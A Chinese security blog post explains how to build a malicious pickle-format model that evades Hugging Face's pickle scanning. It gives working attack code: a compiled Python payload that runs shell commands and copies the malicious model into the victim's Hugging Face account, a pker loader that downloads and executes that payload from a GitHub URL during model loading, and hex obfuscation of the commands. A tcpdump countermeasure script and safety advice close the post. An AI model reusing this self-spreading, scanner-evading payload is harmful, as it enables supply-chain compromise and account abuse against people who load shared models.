近年来,人工智能技术的迅猛发展引发了广泛的关注和讨论。
在众多AI模型和应用中,Hugging Face作为一个著名的开源平台,因其提供了大量的预训练模型和工具而广受欢迎。然而,今年有报道称,Hugging Face平台上检测出大量恶意机器学习模型,这一发现引起了安全社区的警觉。
那么,是否存在绕过Hugging Face平台的pickle扫描的可能呢?
本篇文章主要围绕如何编写可以绕过Hugging Face平台的pickle扫描的恶意机器学习模型,如何对其中的恶意shell指令进行加密,以及如何编写脚本来反制进行展开。
一、 原理介绍
(一)pickle序列化恶意代码植入原理
pickle是Python的一个库,可以对一个对象进行序列化和反序列化操作。其中__reduce__魔法函数是用于创建一个新的被序列化的类型的对象。当有__reduce__魔法函数的对象被序列化时,pickle模块调用__reduce__方法,并获取返回的元组。在反序列化时,pickle模块会调用这个元组中的函数,并传递给它元组中的参数。
此外,pickle是一种栈语言,它由一串串opcode(指令集)组成。该语言的解析是依靠Pickle Virtual Machine (PVM)进行的。pickle实际上可以看作一种独立的语言,通过对opcode的编写可以进行Python代码执行、覆盖变量等操作。直接编写的opcode灵活性比使用pickle序列化生成的代码更高,并且有的代码不能通过pickle序列化得到(pickle解析能力大于pickle生成能力)。
所以,直接编写opcode将成为预训练模型植入恶意代码的良好方案。
(二)攻击原理
攻击者将恶意代码植入到预训练模型后,将恶意模型上传到Hugging Face平台上。被攻击者用支持预训练模型的机器学习库加载pickle文件预训练模型,pickle在反序列化预训练模型时会执行里面的恶意代码,从Github上下载恶意文件到本地并执行,然后会将恶意机器学习模型库从Hugging Face平台 上下载到本地,并上传到被攻击者的Hugging Face账号下(如果在加载模型时登录了账号的话)。
(三)绕过原理
Hugging Face平台上的pickle扫描规则是读取模型文件中外部导入的函数有哪些,并将其与pickle扫描的函数黑名单和白名单对照。白名单函数为大多数机器学习库中函数,显示为白色,没有警告。黑名单函数为Python沙箱绕过常用函数,如exec,eval,getattr等,显示为红色,有不安全警告。其他函数 ,显示为橙色,没有警告。
实现对预训练模型植入恶意代码并绕过Hugging Face平台上的pickle扫描,则需要不使用黑名单函数。
二、 实现过程
#实验环境:
1.有一个自己的Github仓库和Hugging Face仓库;
2.Linux系统,有Python3.8以上的环境,PaddleNLP等机器学习库。
(一)漏洞发现
在Github上的百度ErnieTiny模型源代码(https://github.com/PaddlePaddle/PaddleNLP/blob/develop/paddlenlp/transformers/ernie/tokenizer.py#L678)中可以看到,百度ErnieTiny模型支持Hugging Face平台预训练模型,但还在使用有漏洞的pickle.load。
(二)恶意代码植入
在找到注入点后,就可以开始恶意代码的编写。
对于存储恶意代码,我选择使用.pyc文件。原因是.pyc文件编写方便,只需要Python语法就行,随后用py_compile编译即可,而且其作为常见Python模块文件类型,导入使用只需要简单的import这样的模块导入即可,不用像使用pickle文件那样还需要导入pickle模块再调用pickle模块的函数。
import os
def run():
os.system("touch HACKED!!!")
os.system("huggingface-cli download hauson-fan/PaddleNLP-ErnieTiny --cache-dir .cache 2>/dev/null 1>/dev/null")
os.system("huggingface-cli upload PaddleNLP-ErnieTiny .cache/*/snapshots/*/ 2>/dev/null 1>/dev/null")
os.system("rm -r .cache/ 2>/dev/null 1>/dev/null")
os.remove("./paddles.pyc")
testcode.py中的代码是恶意代码的根源。它定义了run函数。函数内第一行是所要执行的恶意shell指令。第二行是将恶意Hugging Face库下载到本地。第三行是将下载的恶意库上传到受攻击者的Hugging Face账号中(如果在加载模型时登录了账号的话),实现了恶意代码如“抱脸虫”般传染。第四行删除下载的恶意代码。第五行删除本文件。)随后用py_compile编译成.pyc文件,上传到Github上。
在类中定义__reduce__方法是常见的pickle序列化植入恶意代码的手法,但是__reduce__方法只能运行单行代码而不能运行多行代码。CTF竞赛中经常会用到pickle文件进行python沙箱绕过,所以已经有人研究了手写opcode来编写pickle文件的方法,并且开发了pker(https://github.com/EddieIvan01/pker/)这个工具。借此可以生成多行的恶意代码植入pickle文件 。
url = 'https://github.com/hauson-fan/hauson-fan.github.io/raw/master/files2/paddles.pyc'
urlretrieve = GLOBAL('urllib.request','urlretrieve')
urlretrieve(url, './paddles.pyc')
code = GLOBAL('paddles', 'run')
code()
return
loader中的代码用来生成pickle文件。它先将Github上的.pyc文件下载到本地,然后将其导入并执行其中的恶意代码。随后用pker(https://github.com/EddieIvan01/pker/)生成pickle文件伪装成机器学习模型并上传到了Hugging Face平台上。
从上图可以看到,上传模型后并没有发出警告,成功绕过了Hugging Face平台上的pickle扫描。具体扫描规则参见前文的“绕过原理”部分。
接下来开始测试运行效果。
从上图可以看到,在本地测试运行时,加载了预训练模型后,受攻击者的目录下产生了HACKED!!!文件,受攻击者的Hugging Face账号下也产生了恶意机器学习模型库。
这证明以上的恶意代码植入并运行成功了。
为了更好地测试实战中的攻击性,我对植入的恶意shell指令采取了十六进制加密的加密策略,起到一定混淆加密免杀的目的。
os.system(bytes.fromhex('746f756368204841434b4544212121').decode())
从上图中加密前后的.pyc文件对比中可以看到,加密前的.pyc文件解码后是看得到恶意shell指令的,加密后的.pyc文件解码后依然看不到恶意shell指令。
(三)反制策略
为了解决这些问题,我将制定相关的反制策略。
木马反制查杀策略主要可以分为本地端监测和流量监测两大块,但我的这个恶意程序是获取Github上的内容并执行,相对来说,本地端监测比较困难,所以我打算考虑流量监测。
tcpdump 是一个强大的工具,可以将网络中传送的数据包完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤,并提供and、or、not等逻辑语句来帮助去掉无用的信息。
# 创建一个临时文件存储网络流量数据
temp_file=$(mktemp)
# 使用tcpdump捕获网络流量,并将结果保存到临时文件中
sudo tcpdump -i any -s0 -w $temp_file &
# 获取tcpdump进程的PID
tcpdump_pid=$!
# 检查网络流量是否包含.pyc文件
while true; do
tcpdump_output=$(tcpdump -r $temp_file -n -A | grep '.pyc')
if [ -n "$tcpdump_output" ]; then
echo "发现.pyc文件传输:$tcpdump_output"
# 提取源IP地址和端口号
src_ip=$(echo $tcpdump_output | awk '{print $3}')
src_port=$(echo $tcpdump_output | awk '{print $5}' | cut -d '>' -f 1)
# 查找并终止相关进程
pkill -f "python"
echo "已终止相关进程"
break
fi
sleep 1
done
# 清理临时文件
rm $temp_file
countermove.sh中的代码使用tcpdump命令监听,捕获网络流量,使用一个无限循环来检查网络流量是否包含.pyc文件。这里使用了grep命令来搜索包含.pyc的文件名。如果发现了存在.pyc文件传输,则使用pkill命令结束与Python相关的进程。
从上图中可以看到,在运行了反制脚本的情况下,运行了上述加载恶意机器学习模型后,当反制脚本监测到有.pyc文件开始传输时,便终止于了与Python相关的进程,保护了受攻击者。
针对以上攻击,此反制策略是有效的。
总结一下,本篇文章主要围绕绕过Hugging Face平台的pickle扫描展开。先讲了相关攻击绕过原理,再讲了如何实现以及它的组成部分。接着再讲对其的加密手段。最后讲了流量分析和反制策略。
最后,在这里,我想给想使用人工智能预训练模型的人们一些建议。第一,在使用一个预训练机器学习模型之前先进行相关调查;第二,尽量在隔离的沙箱中使用预训练机器学习模型。第三,使用预训练模型时采用反制脚本。
希望大家下次在使用人工智能预训练模型的时候要擦亮双眼,小心那些恶意模型,做好防范,不要遭到恶意模型的攻击。
原文始发于微信公众号(天策安全技术联盟):人工智能模型也有安全隐患!攻击实例及反制策略展示
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论